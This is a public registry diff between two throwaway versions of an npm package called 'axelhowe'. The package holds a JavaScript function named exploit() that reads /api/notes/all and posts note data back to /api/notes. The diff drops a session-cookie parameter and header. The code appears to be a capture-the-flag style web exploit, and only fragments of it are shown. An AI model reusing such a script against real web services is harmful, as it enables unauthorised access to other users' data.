axelhowe 0.0.0-8yOW2EBicbPwGXc5 → 0.0.0-AH4rx5lCb6fx5eEf

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- function exploit(cookie) {
1
+ function exploit() {
2
2
  let url = "/api/notes/all";
3
3
  let url2 = "/api/notes";
4
4
  let data;
@@ -26,8 +26,7 @@ function exploit(cookie) {
26
26
  url2, {
27
27
  method: "POST",
28
28
  headers: {
29
- "content-type": "application/json",
30
- "cookie": "session=" + cookie
29
+ "content-type": "application/json"
31
30
  },
32
31
  body: JSON.stringify({ "title": data.title, "content": data.id })
33
32
  }
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-8yOW2EBicbPwGXc5"}
1
+ {"name":"axelhowe","version":"0.0.0-AH4rx5lCb6fx5eEf"}